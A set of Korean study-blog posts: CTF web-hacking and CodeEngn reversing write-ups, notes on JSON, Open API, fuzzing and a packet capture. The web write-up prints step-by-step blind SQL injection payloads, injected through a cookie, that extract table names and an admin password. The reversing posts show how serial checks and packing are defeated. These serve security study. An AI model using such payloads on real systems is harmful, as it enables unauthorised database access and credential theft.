문제

 

view-source 클릭 시 보이는 코드

 

문제에서 요구한 대로 view-source를 클릭하여 소스코드를 확인했다.

 

조건문의 결과에 따라 $COOKIE['user_lv']의 값이 달라지고 있고, solve(1)이라는 문자열이 보이는 것으로 보아

두 번째 php문을 유심히 봤다.

 

if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;

if($_COOKIE['user_lv']>=4) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>3) solve(1);

 

--> user_lv 쿠키값이 숫자가 아니면 user_lv 쿠키값은 1이 되고,

user_lv 쿠키값이 4이상이면 user_lv 쿠키값은 1이 되고,

user_lv 쿠키값이 3보다 크면 문제를 해결할 수 있다는 것 같다.

 

따라서, 3보다 크고 4보다 작은 숫자값을 user_lv 쿠키값에 넣어야겠다고 생각했다.

 

 

현재 저장되어 있는 user_lv 쿠키값 = 1

 

user_lv 쿠키값을 3.5로 변경

 

 

 

 

첫 화면

 

페이지 소스보기

페이지 소스보기를 통해 현재 시간이 주석처리 되어있다는 것과, admin.php 페이지가 있다는 것을 알 수 있었다.

 

 

~/admin.php 화면

admin.php 화면에서는 password를 입력하는 창이 나온다.

아마도 여기에 정답을 입력하는 것 같았다.

많은 값을 넣었을 때 'wrong password'라는 팝업창이 떴고 아무런 힌트가 될 만 한것들이 없었다.

 

 

cookie 값 확인

cookie 값을 확인해보았다.

Time이라는 이름의 cookie가 있었고, 해당 값이 들어가있다는 것이 확인되었다.

 

 

cookie 값을 변경해보았다.

1로 변경
결과

time 값을 1로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:00:01 로 바뀌는 것을 볼 수 있었다.

100으로 변경
결과

time 값을 100으로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:01:40 로 바뀌는 것을 볼 수 있었다.

이를 통해 time 쿠키 값이 저 날짜의 초 단위로 변경되어 들어간다는 것을 알 수 있었고,

여기에 SQL 공격을 통해 이 문제에 대한 힌트를 얻어야겠다고 생각했다.

 

최종적으로 Password를 구해야하므로 이 서버의 데이터베이스를 건드려보자는 생각이 들었다.

 


① 우선 데이터베이스 내에 몇 개의 테이블이 존재하는지 확인하기 위해 count 명령어를 사용한다.

 

time = (select count(table_name) from information_schema.tables where table_schema=database());

--> information_schema.tables에서 table_schema가 database() 인 table_name의 개수를 출력하라

 

※ INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용이며, 단순히 조회만 가능하다. 즉, 읽기전용(Read-only)으로 사용자가 직접 수정하거나 관여할 수는 없다.

 

위 쿼리를 time 쿠키에 넣은 결과

09:00:02 이므로 테이블 개수는 2개임을 알 수 있다.

 

 

② 전체 두 개의 테이블 중 첫 번째 테이블의 이름 길이를 확인하기 위해 length와 limit 명령어를 사용한다.

time = (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1);

# limit 0,1 = 첫 번째 부터 1개 

 

첫 번째 테이블 명 길이

09:00:13 이므로 첫 번째 테이블 명의 길이는 13임을 알 수 있다.

 

 

③ 같은 방법으로 두 번째 테이블 명의 길이를 확인해본다.

time = (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1);

 

두 번째 테이블 명 길이

09:00:03 이므로 두 번째 테이블 명의 길이는 3임을 알 수 있다.

 

 

④ 이제 길이를 알았으니 첫 번째 테이블부터 이름을 유추해볼 것이다.

첫 번째 테이블의 이름을 확인하기 위해 ascii와 substr 명령어를 사용한다.

 

time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1);

 

+) substr = 문자열 일부 추출

substr(store_name, 3) : 3번째 자리의 값부터 추출

→ substr(store_name, 2, 4) : 2번째 자리의 값부터 4개의 값 추출

 

+) ascii = 받은 인자값을 아스키 코드값으로 변환해주는 함수

 

 

첫 번째 테이블의 첫 번째 아스키 값

09:01:37이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'a' 임을 유추할 수 있다.

(10진수 97 → 아스키 값 'a')

 

동일한 방식으로 (table_name, 1~13, 1)으로 확인한 결과

첫 번째 테이블 이름은 admin_area_pw 임을 알게 되었다.

 

 

⑤ 이제 두 번째 테이블의 이름을 확인해본다. 3글자니까 빠르게 끝날 것이다.

 

time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1);

 

두 번째 테이블의 첫 번째 아스키 값

09:01:48이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'l' 임을 유추할 수 있다.

(10진수 108 → 아스키 값 'l')

 

동일한 방식으로 (table_name, 1~3, 1)으로 확인한 결과

두 번째 테이블 이름은 log임을 알게 되었다.

 

 

⑥ 이제 첫 번째 테이블(admin_area_pw) 테이블에서 컬럼이 몇 개인지 확인한다.

time=(select count(column_name) from information_schema.columns where table_name="admin_area_pw");

 

첫 번째 테이블의 컬럼 개수

09:00:01 이므로 컬럼 개수는 1개임을 알 수 있다.

 

⑦ 컬럼의 문자열 길이를 확인한다.

time=(select length(column_name) from information_schema.columns where table_name="admin_area_pw");

 

첫 번째 테이블의 컬럼이름의 길이

09:00:02 이므로 컬럼명은 2글자임을 알 수 있다.

 

⑧ 컬럼의 첫 번째 문자열을 확인한다.

time=(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw");

 

컬럼의 첫번째 글자

09:01:52이므로 첫 번째 테이블의 컬럼명의 첫 번째 글자는 'p' 임을 유추할 수 있다.

(10진수 112 → 아스키 값 'p')

 

위와 같은 방법으로 두 번째 문자열을 확인한 결과, 'w' 였다.

즉, 'admin_area_pw' 테이블의 컬럼은 하나 존재하며, 그 컬럼의 이름은 'pw'이다. 라는 것 까지 유추해 낸 것이다.

 

 

 

해당 컬럼 안에 답이 있을 거라는 생각에

⑨ 컬럼의 내용을 확인하기 위해 먼저 문자열 길이를 확인한다. (length 이용)

time=(select length(pw) from admin_area_pw);

 

pw 길이

09:00:17 이므로 pw(정답)는 17글자임을 알 수 있다.

17글자나 되네..

 

 

⑩ 본격적으로 정답을 위해 pw 컬럼의 내의 문자열을 확인한다.

time=(select ascii(substr(pw,1,1)) from admin_area_pw);

 

pw 첫 번째 아스키코드 값

09:01:47이므로 pw의 첫 번째 글자는 'k' 임을 유추할 수 있다.

(10진수 107 → 아스키 값 'k')

 

동일한 방식으로 (pw, 1~17, 1)으로 확인한 결과

pw의 내용은 kudos_to_beistlab 임을 알게 되었다.

 

성공..

 

문제 풀이 후 느낀점

1. 코드를 짜는 연습을 해야겠다.

2. 데이터베이스 접근법을 알게되어 신기했다.

 

JSON(JavaScript Object Notation)

:: JavaScript에서 객체를 만들 때 사용하는 표현식

:: 다른 언어에서도 사용해서 서로 다른 언어들끼리 객체는 객체 그대로, 배열은 배열 그대로 전송이 가능

 

JavaScript 에서 객체와 배열 각각을 나타내는 방법

객체 {키1:값1, 키2:값2}

배열 [값1,값2,값3]

 

서버 어플리케이션-클라이언트 어플리케이션(자바스크립트 애플리케이션)이

서로 통신하며 작업해야 한다면 JSON을 꼭 사용해야 한다.

 

 

◇ JavaScript : JSON.stringify(), JSON.parse() => JSON을 만들고 JSON을 해석해서 다시 객체로 만들어냄(직렬화)

 

- JSON API 

ECMAscript 5에는 JSON을 공식적으로 지원하는 API가 포함되어 있음

 

- JSON.parse()

인자로 전달된 문자열을 자바스크립트의 데이터(객체)로 변환

 

- JSON.stringify()

인자로 전달된 자바스크립트의 데이터(객체)를 문자열로 변환

 

PHP : JSON.encode(), JSON.decode() => JSON 데이터를 만들고 해석함

 

- JSON.encode()

전달받은 값을 JSON 형식의 문자열로 변환하여 반환

 

- JSON.decode()

전달받은 JSON 형식의 문자열을 PHP 변수로 변환

 

 

php와 JavaScript는 서로 다른 언어임에도 불구하고 JSON의 포맷을 이용하게 되면 데이터를 서로 전송할 수 있게 된다.

 

 

'WEB > JavaScript' 카테고리의 다른 글

Open API 활용  (0) 2021.05.02
라이브러리 & 프레임워크  (0) 2021.01.27
웹 브라우저 제어  (0) 2020.11.08
콘솔  (0) 2020.11.05
이벤트  (0) 2020.11.05

Front-end : 우리가 보는 화면

Back-end : 화면에 보여줄 정보를 처리하는 곳

 

Front-end가 Back-end에 요청을 할 때 특정 규칙에 맞게 요청을 해야함

 

API(Application Programming Interface) = 사용 규칙을 제공하는 것

 

Open API : 누군가 Back-end를 만들어놓고 주소와 사용 규칙을 공개한 것을 의미

= "Back-end의 주소와 사용 규칙을 알고 있다면 Front-end만 만들어도 얼마든지 요청하고 데이터를 가져와서  쓸 수 있다는 것"

+) Front-end만 만들어 쓰는 것을 'serverless' 라고 부르기도 함

 

Front-end 의 요청(Request)과 Back-end의 응답(Response)은 API 마다 정해진 형식에 맞춰서 전달되고 이런 형식이 적혀진 문서API 가이드라고 한다.

 

공통적으로 요청과 응답에 대한 정보가 나와 있다.

<요청>

1. 주소 : 어디로 전달해야 할지

2. 전송방식 : GET/POST

3. 보낼 데이터 (API 요청에서 필요한 정보들)

 

<응답>

1. 형식 : JSON // 어떤 형식으로 날아오는지(요즘은 거의 대부분이 JSON 형태)

2. 응답 의미 설명 : JSON으로 날아온 응답에 어떤 것들이 포함되어 있는지 

 


1. jQuery CDN 이용

jQuery CDN 사이트에서 가져온다.

 

CDN (Content Delivery Network)

::특정 서버에 트래픽이 집중되지 않고 컨텐츠를 자동으로 가장 가까운 서버에서 다운받도록 하는 기술

<script
  src="https://code.jquery.com/jquery-3.6.0.js"
  integrity="sha256-H+K7U5CnXl1h5ywQfKtSj8PCmoN9aaq30gDh27Xc0jk="
  crossorigin="anonymous"></script>

 

2. jQuery AJAX 이용

Examples에서 예시 하나를 복사해온다. (나중에 사용할 API 가이드에 맞춰서 수정할 예정)

 

Ajax

:: JavaScript의 라이브러리중 하나이며 Asynchronous Javascript And Xml(비동기식 자바스크립트와 xml)의 약자.

브라우저가 가지고 있는 XMLHttpRequest 객체를 이용해서 전체 페이지를 새로 고치지 않고도 페이지의 일부만을 위한 데이터를 로드하는 기법 (기본적으로 HTTP프로토콜은 클라이언트쪽에서 Request를 보내고 Server쪽에서 Response를 받으면 이어졌던 연결이 끊기게 되어있음)

$.ajax({
  method: "POST",
  url: "some.php",
  data: { name: "John", location: "Boston" }
})
  .done(function( msg ) {
    alert( "Data Saved: " + msg );
  });

 

 

<카카오 API 사용>

홈페이지(developers.kakao.com/)에 들어가서 로그인 -> 내 애플리케이션 만들기 ->  키 확인 가능

 

[도구] - [REST API 테스트] - 자신이 사용하고자 하는 API의 [개발 가이드 보러가기]

 

실제 제공하는 책 검색 API

 

 

<전체 코드>

<!DOCTYPE html>
<html lang="ko">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>API 연습</title>
</head>

<body>
    <h1>내 사이트임</h1>
    <script src="https://code.jquery.com/jquery-3.6.0.js"
        integrity="sha256-H+K7U5CnXl1h5ywQfKtSj8PCmoN9aaq30gDh27Xc0jk=" crossorigin="anonymous"></script>

    <script>
        $.ajax({ //코드 상단 : 요청에 대한 정보
            method: "GET", // 전송 방식
            url: "https://dapi.kakao.com/v3/search/book?target=title", // 전송 URL
            data: { query: "미움받을 용기" }, //전송 정보 JSON 형식
            headers : { Authorization: "KakaoAK 'REST API 키'"}
        })
            .done(function (msg) {//요청에 대한 응답이 올 때 처리하는 코드
                console.log(msg);
            });
    </script>
</body>

</html>

 

코드 실행 후 개발자 도구 확인

요청에 대한 응답(Response) 정보 - [F12] 키를 이용해 확인(console.log 사용했으므로)

=> API 가이드를 참고해 비교해보면 필수 정보들이 잘 담겨져 있는 것을 확인할 수 있다

 


<JSON 데이터 JavaScript 접근 방법>

dog = {
    "name": "식빵",
    "family": "웰시코기",
    "age": 1,
    "weight": 2.14,
    "specialty" : ["솜사탕","부리부리"],
    "friend" : {"name": "젤리", "family": "푸들", "age": 7, "weight": 3.1}
}

"식빵"을 가져오려면? dog.name 혹은 .name

"솜사탕"을 가져오려면? dog.specialty[0]

"젤리"를 가져오려면? dog.friend.name

 

 

<실습>

아까 봐뒀던 개발자 도구 탭을 활용한다.

※ 'Object' -[마우스 오른쪽] - [Store object as global variable]

(응답 받은 JSON을 console 창에서 다루기 위해 따로 저장해두는 것)

 

 

그러면 temp1이라는 곳에 Object가 잘 저장이 된 것이 확인가능하다. 

"미움받을 용기"라는 책 제목과 썸네일을 불러올 것이기 때문에 

temp1.documents[0].title

temp1.documents[0].thumbnail

를 사용할 것이다.

 

<!DOCTYPE html>
<html lang="ko">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>API 연습</title>
</head>

<body>
    <h1>내 사이트임</h1>
    <script src="https://code.jquery.com/jquery-3.6.0.js"
        integrity="sha256-H+K7U5CnXl1h5ywQfKtSj8PCmoN9aaq30gDh27Xc0jk=" crossorigin="anonymous"></script>

    <script>
        $.ajax({ //코드 상단 : 요청에 대한 정보
            method: "GET", // 전송 방식
            url: "https://dapi.kakao.com/v3/search/book?target=title", // 전송 URL
            data: { query: "미움받을 용기" }, //전송 정보 JSON 형식
            headers : { Authorization: "KakaoAK 'REST API 키'"}
        })
            .done(function (msg) {//요청에 대한 응답이 올 때 처리하는 코드
                console.log(msg.documents[0].title);
                console.log(msg.documents[0].thumbnail);
            });
    </script>
</body>

</html>

위의 코드와 똑같지만, console.log 함수를 통해서 console 창을 통해 데이터 확인이 가능하다.

 

실행 결과

console 창에서 올바르게 값을 불러왔다는 것을 확인할 수 있다.

 

<!DOCTYPE html>
<html lang="ko">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>API 연습</title>
</head>

<body>
    <h1>내 사이트임</h1>
    <p></p>
    <script src="https://code.jquery.com/jquery-3.6.0.js"
        integrity="sha256-H+K7U5CnXl1h5ywQfKtSj8PCmoN9aaq30gDh27Xc0jk=" crossorigin="anonymous"></script>

    <script>
        $.ajax({ //코드 상단 : 요청에 대한 정보
            method: "GET", // 전송 방식
            url: "https://dapi.kakao.com/v3/search/book?target=title", // 전송 URL
            data: { query: "미움받을 용기" }, //전송 정보 JSON 형식
            headers: { Authorization: "KakaoAK 'REST API 키'" }
        })
            .done(function (msg) {//요청에 대한 응답이 올 때 처리하는 코드
                console.log(msg.documents[0].title);
                console.log(msg.documents[0].thumbnail);
                $("p").append("<strong>" + msg.documents[0].title + "</strong><br>");
                $("p").append("<img src='"+ msg.documents[0].thumbnail + "'/>");
            });
    </script>
    </script>
</body>

</html>

<p>태그를 추가한 후

append를 통해 (jQuery add html 검색하면 쉽게 방법을 알 수 있음)

<p>태그에 들어갈 내용을 추가해주었다.

 

 

최종 실행 화면

 

 

www.youtube.com/watch?v=QPEUU89AOg8

 

'WEB > JavaScript' 카테고리의 다른 글

JSON  (0) 2021.05.02
라이브러리 & 프레임워크  (0) 2021.01.27
웹 브라우저 제어  (0) 2020.11.08
콘솔  (0) 2020.11.05
이벤트  (0) 2020.11.05

문제

다짜고짜 password를 묻는다

 

 

실행화면

처음에 그냥 실행해봤고

예상대로 Sorry~ 문자열이 나왔다.

 

 

실행파일에 쓰인 텍스트 확인

실행하자마자 텍스트를 확인해봤다

[마우스 오른쪽]-[Search For]-[All referenced text strings]를 통해 확인이 가능하다

 

DonaldDuck이라는 문자열이 눈에 띄어서 Username이라고 짐작했다

 

DonaldDuck이 있던 곳의 맨 처음으로 가서 BP를 건 후 한줄씩 실행

BP를 건 후 [F9]키로 실행해주었다

Username과 Password를 입력하라고 하여서 

Username에 DonaldDuck, Password 자리에 1234를 적어주었다

 

그러고 나니 003E1008 위치에 DonaldDuck이 뜨는 것을 확인할 수 있었다

 

 

CMP 구문 확인

우리가 만난 첫 번째 분기문에선

우리가 입력한 Username의 첫 번째 자리와 0x00(NULL값)을 비교한다는 것을 알 수 있다

우리는 Username에 값을 입력했기 때문에 

JNE 명령어로 인해 003E1030 주소로 바로 이동하게 된다

 

두 번째 CMP

다음으로 만난 CMP 문이다

CMP EAX, DWORD PTR DS:[ECX] 부분에서 우리가 입력한 password값과 ecx값을 비교하고 있다

 

ECX 값 확인

HEX 창에서 ECX 주소로 가보니 0088228F라는 값이 적혀있다

이는 16진수이므로

10진수로 바꿔주면 8,921,743이 된다

password가 8921743일 것이라고 예상할 수 있다

 

 

Username과 DonaldDuck을 비교하는 구문

앞에서 예상은 했지만 입력한 Username과 'DonaldDuck' 문자열을 비교하는 구문이 있는 것을 확인할 수 있다.

따라서 Username이 DonaldDuck이라는 것이 확실해졌다

 

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L11  (0) 2021.05.06
CodeEngn Challenge : Basic RCE L10  (0) 2021.05.06
CodeEngn Challenge : Advance RCE L03  (0) 2021.04.28
CodeEngn Challenge : Basic RCE L09  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L06  (0) 2021.04.07

문제

Name이 CodeEngn 일때 Serial이 무엇인지 맞추는 것이다

 

 

PEiD로 패킹 여부 판단

EP Section이 올바르게 나오고 컴파일 환경도 나오는 것을 보니 패킹이 되어있지 않은 실행파일이라고 판단했다

 

 

실행파일 실행 결과

아직 아무것도 모르는 상태이기에 

Hello 라는 문자열을 적었고

예상대로 Fail 창이 떴다

 

 

 

결정적 힌트

코드를 쭉 내려보다가 lstrcmpA라는 함수가 보였다.

 

lstrcmpA 함수는 Window32 API로, 두 문자열의 대소 관계를 비교하나
일반적으로 두 문자열이 같은지 다른지를 비교할 목적으로 많이 사용한다.
단순히 문자열의 동등성 여부만 판단할 경우는 리턴값이 0인지 아닌지만 점검하며 대소 관계를 판단할 때는 리턴값의 부호를 점검하면 된다.
영문자를 비교하는 경우 대소문자도 비교하므로 대소문자 구분없이 비교하려면
CharUpper 등의 함수로 모두 대문자로 바꾼 후 비교하거나 아니면 lstrcmpi 함수를 사용해야 한다.

 

여기에 내가 입력했던 Hello 문자열과 어떤 숫자를 비교하는 걸 확인했고

 

 

결과

이를 그대로 넣어주니 succeeded 메시지가 떴다

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L10  (0) 2021.05.06
CodeEngn Challenge : Advance RCE L09  (0) 2021.04.28
CodeEngn Challenge : Basic RCE L09  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L06  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L16  (0) 2021.03.30

◎ 퍼저? 퍼징을 수행하는 도구

 

◎ 퍼징? 소프트웨어 보안 테스트 기법으로, 프로그램에 무작위 데이터를 입력하여 오류를 분석하고 취약점을 파악

- 인터페이스나 프로그램에 일부러 부적절한 데이터나 랜덤 데이터를 주입시켜 시스템 마비를 유발하는 것. 이 과정에서 메모리 유출이나 문서로 기록되지 않은 반응들, 디버그 절차, 코드 입력실패 등이 발생할 수 있는데 이걸 잡아내는 게 목적이다.

 

◎ 특징

1. 입력값의 무작위성 ; 랜덤 숫자, 랜덤 텍스트, 키보드 및 마우스 이벤트 등

2. 단순 신뢰기준 ; Crash, Hang 시 실패로 간주하며 그 외는 통과시킴

3. 자동화 ; 자동화된 툴(Fuzzer)을 통한 무한 반복 테스트 가능

 

◎ 장단점

장점 : 알려지지 않은 취약점을 사전에 탐지할 수 있다 / Zero-Day 공격에 대응할 수 있다

단점 : 무작위성에 의존한다 / 단순한 결함 탐지 위주로 심각한 취약점을 찾아내긴 어렵다.

 

◎ 테스트 분야

- 웹 브라우저, 응용 프로그램, 네트워크 프로토콜, 파일 포맷, 메모리, 커널 등

 

◎ 방법

1) 퍼저 실행

2) 영향력의 범위와 시스템 마비 현상 확인

(한 프로그램에서 취약점을 찾고 싶다면 대상 바이너리와 시드파일 즉, 이미지 파일들이 필요)

3) 왜 그런 현상들이 발생했는지 조사

4) cmin 프로세서 시작

5) 1~4의 과정 반복

 

◎ 퍼징을 위한 input data를 어떻게 정하는지에 따라 두 가지 방식으로 나뉨

1. Mutation

- Mutation (Dumb Fuzzers) : 변이 기반 퍼징

- 주어진 입력 값을 마구잡이로 이리저리 바꿔가면서 새로운 입력 값을 만들어 냄

(데이터의 특정 영역의 값들을 임의로 바꿔치기(replacing)하거나 추가(appending))

- 데이터 형식이나 구조에 대한 명확한 이해가 어려울 때 사용한다.

- Mutation 기법 중 하나인 Bit Flipping은 특정 비트를 일정한 주기 또는 무작위로 바꿔버리는 것

 

2. Generation

- Generation (Intelligent Fuzzers) : 파일의 포맷(형식)이나 프로토콜(규약)을 이해하고 그것에 맞추어 적절한 input을 생상하는 방식

- 밑바닥부터 철저히 구현해야 함

- 대표적인 Smart 퍼저는 Peach Fuzzer 이다.

 

◎ 관련 기사 : https://www.boannews.com/media/view.asp?idx=75607

- 요약 : 보안 전문가들이 흔히 사용되는 윈도우용 퍼징 프레임워크 윈AFL(WinAFL) 50일 동안 사용하여 어도비 리더(Abode Reader) 프로그램에서 53개의 새로운 취약점들을 찾아냈다.

퍼징은 귀찮은 방법이라 보안 전문가들이 대게 기피하는 방법이지만 인공지능을 탑재한 자동화 기술을 접목시키면 효과적인 취약점 발굴 방법이 될 수 있다.

 

퍼저의 구성요소

1. TestCase Generator : 타켓 프로그램에 삽입할 입력을 만듬

2. Logger : 퍼징을 돌리는 중에 버그 분석에 필요한 정보를 기록

3. Worker : 주어진 입력으로 예기치 않은 동작을 인식

4. Server/Master : 1,2,3을 컨트롤하고 상호작용 관리

출처 https://rninche01.tistory.com/entry/Fuzzing-%EA%B3%B5%EB%B6%80

 

◎ 퍼징 구현 예시 : https://blog.naver.com/stop2y/221108894553

'Study' 카테고리의 다른 글

WEB/WAS 취약점 진단 참고 - WebtoB  (1) 2023.10.27
커버로스(Kerberos)  (0) 2023.08.29
Windows Powershell(2)  (0) 2022.08.05
Windows Powershell  (0) 2022.08.04

[그림1] stolenbyte를 구하는 문제
[그림2] 실행창1
[그림3] 실행창2

 

StolenByte

 패킹된 바이너리를 언패킹할 때의 과정을 방해하기 위한 방법으로, 프로그램의 일부 바이트를 별도의

영역에서 실행되게 하여 OEP를 다른 위치로 가장하고 덤프를 쉽게 하지 못하도록 구현한 기법

 

 패커가 패킹을 진행할 때, 원본 코드 중 일부를 다른 곳으로 이동 시킨 코드로써, 주로 EP 위의 몇 줄의 코드이다

 

  올바른 프로그램을 얻기 위해서는 패킹 과정에서 떼어진 StolenByte를 함께 복원해야 덤프가 성공적으로 이루어진다

 

[그림4] 프로그램의 시작 코드가 PUSHAD로 되어 있다. 패킹된 파일임을 짐작할 수 있다.

 

[그림5] PEiD로 확인한 결과. 역시 UPX 로 패킹이 되어있다.

 

[그림6] upx -d 옵션을 활용해 unpacking

 

[그림7] unpacking 후 확인한 코드
[그림8] 0040100E 주소의 MessageBox함수 호출 결과

unpacking 후 디버거로 열었을 때, 처음에 NOP로 덮어진 부분이 눈에 띄었다.

첫 번째로 실행되는 MessageBoxA 함수에 전달할 인자가 부족함을 알 수 있었고

이를 실행했을 때, 온전하지 못한 글자들과 함께 결과가 보여짐을 확인할 수 있었다.

 

이를 통해 부족한 인자들이 문제와 연관있음을 예측했다.

 

 

[그림9] unpacking 하지 않은 실행파일의 POPAD 부분 확인

unpacking 시 stolenbyte 문제가 생긴다는 것을 깨달은 후,

다시 원본 실행 파일에서 POPAD 부분을 찾아갔다.

(POPAD 찾는 방법은 아래를 확인)

2021.04.07 - [Study/Reversing] - CodeEngn Challenge : Basic RCE L06

 

그리고 POPAD 이후 스택에 적재되는 세 개의 값을 확인할 수 있었다.

 

OEP로 점프하는 구간에 BP를 걸고 실행시켰더니

MessageBoxA 함수 호출에 필요한 인자들이 스택에 PUSH 됨을 알 수 있고,

이를 통해 PUSH 되는 인자들이 StolenByte 임을 확인했다.

 

 

[그림10] NOP로 덮여진 부분

 

[그림11] [Ctrl+E] 로 코드 변경

 

[그림12] 정상적 unpacking 성공

 

따라서 stolenbyte는 6A0068002040006812204000 이다.

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Advance RCE L09  (0) 2021.04.28
CodeEngn Challenge : Advance RCE L03  (0) 2021.04.28
CodeEngn Challenge : Basic RCE L06  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L16  (0) 2021.03.30
CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30

[그림1] 문제

문제에서 packing이 된 실행파일이라는 것을 알려주고 있다.

 

[그림2] 첫 실행화면

 

[그림3] 값 입력 후 뜨는 결과창

 

[그림4] PEiD로 확인한 실행파일

+) PEiD는 파일의 PE 정보로 패킹, 암호화, 컴파일에 사용된 프로그램을 찾아준다.

실행파일을 올려 확인해 보니 UPX 프로그램으로 패킹됐음을 유추할 수 있다.

 

 

<Packing & UnPacking 설명 참고>

더보기

패킹(packing)은 "실행 압축"이라고 표현할 수 있다.

실행 파일 내부에 있는 코드를 압축하여 평소에는 코드를 압축한 상태로 저장하고 있다가

파일을 실행하면 메모리에서 압축을 해제 시킨 후 파일을 실행시키는 기술이다.

 

장점

1. 파일의 크기를 줄일 수 있다.(전 후 3~4배의 차이가 있다)

2. 크래커의 리버싱으로부터 보호할 수 있다.

 


언패킹(unpacking)은 말 그대로 패킹을 푸는 것이다.

특히 UPX Compressor를 사용하는 경우는 아래의 상황이다.

- UPX 기준 설명

1. 운영체제의 Loader가 실행파일을 메모리에 올린다

2. Packing된 파일은 Unpacking Code 시작부분이 Entry Point이다.

3. EP에서 프로그램이 시작된다.

4. Packing된 파일은 Unpacking Code 영역에 들어있다.

5. Unpacking Code는 패킹된 데이터를 하나씩 읽어 압축을 풀고 Empty Space(빈 공간)에 원래 데이터를 저장한다.

6. 모든 코드가 Unpacking 되었다면 Original Entry Point(OEP)에서 프로그램이 다시 시작된다.

 

즉, OEP는 Unpacking 되기 이전 실행파일의 시작점이다

 

<UPX로 패킹된 실행파일을 unpacking 하는 방법>

1. upx 프로그램의 -d 옵션 사용

[그림5] upx 프로그램으로 unpacking 하는 과정

-d 옵션을 사용하면 패킹된 파일을 언패킹한 후 덮어 씌울 수 있다.

 

그 후 디버거에 올려서 실행하면 바로 OEP를 알 수 있다.

 

 

2. PUSHAD/POPAD 명령어 찾기

- UPX는 실행 파일 압축 프로그램으로 함수를 계속 진행하면 OEP에 도달할 수 있다.

UPX는 PUSHAD와 POPAD를 활용해 언패킹한다.

 

PUSHAD는 범용 레지스터의 값들을 스택에 저장하며, POPAD와 짝을 이루어서 사용된다.

코드의 PUSHAD가 진행되면 범용 레지스터의 값들을 EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI 순서로 스택에 저장한다.

POPAD는 스택에 저장된 레지스터 값들을 다시 레지스터에 입력한다.

보통 POPAD 밑에 점프문이 있으며 이 점프문 주소에 해당하는게 OEP인 경우가 많다.

 

① PUSHAD를 지나 마지막 레지스터 값(EDI)이 스택에 저장되었을 때,

② 그 스택부분에 BP(Break Point)를 걸면

③ POPAD에서 마지막 레지스터(EDI)를 복구시킨 후 정지된다. (스택 BP 사용시 해당 스택의 데이터가 접근 되는 시점에 브레이크가 잡히게 된다.)

④ 마지막으로 , POPAD가 끝난 후 진행되는 코드를 진행하면 원본 시작 코드로 진입할 수 있다.

 

[그림7] packing된 실행파일 처음 화면

 

[그림8] PUSHAD 작동 후 상황

각 레지스터에 값이 저장되어 있고 마지막으로 PUSH 되었던 EDI의 주소로 가 스택에 저장된 값을 확인한다.

 

[그림9] 마지막으로 PUSH 된 레지스터 값에 접근

 

[그림10] 스택에 BP 걸기

 

[그림11] [F9]키 실행 결과

이 점프문 주소(00401360)에 해당하는 게 OEP 이다.

 


문제는 OEP 뿐만이 아니라 Serial 값을 찾도록 요구하고 있다.

따라서 이 실행파일을 unpacking 한 후 다시 분석해보았다.

 

[그림12] 프로그램에 사용된 문자열들을 확인

잘못된 값을 입력했을 때 GUI 모드로 'Wrong serial!'이라는 문자열이 떴기 때문에 

프로그램에 사용된 문자열들을 확인한다.

 

[그림13] 선택한 문자열 주변 코드

'You got it' 이라는 문자열 코드가 있는 부분을 선택해 주변을 살펴보았다.

CMP 문과 JMP문이 사용된 것으로 보아 내가 입력한 값과 정답 serial 값을 비교해 

성공인지 실패인지를 가려내어 결과를 보여주는 것으로 보인다.

 

JMP문에 [F2]키를 사용해 BP를 걸고 [F9]키를 사용해 실행한다.

 

[그림14] 그러면 이러한 실행창이 뜬다.

 

[그림15] 값을 입력하고 Check Serial 버튼을 누른 결과

 

내가 입력한 값이 어디론가 PUSH 되고 있다.

아마 그 다음에 나오는 "AD46DFS547"이라는 값과 비교하여 결과가 나뉘는 것 같다.

 

따라서 정답 serial 은 "AD46DFS547" 이라고 유추 가능하다.

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Advance RCE L03  (0) 2021.04.28
CodeEngn Challenge : Basic RCE L09  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L16  (0) 2021.03.30
CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24

분석 패킷 : http-fault-post.pcap

 

초기 패킷

초기 3방향 핸드셰이크가 끝나면 클라이언트(24.4.97.251)는 웹서버(216.23.168.114)로 HTTP 패킷을 보낸다.

 

초기 HTTP POST 패킷

여기서 사용된 POST 메소드는 URI /flashmail.asp 와 HTTP/1.1의 HTTP 버전을 지정한다.

POST 요청을 통해 보내진 데이터를 확인하려면 HTML Form Encoded 부분을 보면된다.

 

HTTP 응답 403은 서버 자체 또는 서버에 있는 파일에 접근할 권한이 없을 경우에 발생한다.  
2개의 요청이 들어왔는데 두 번 다 서버가 403 응답을 한다.

 

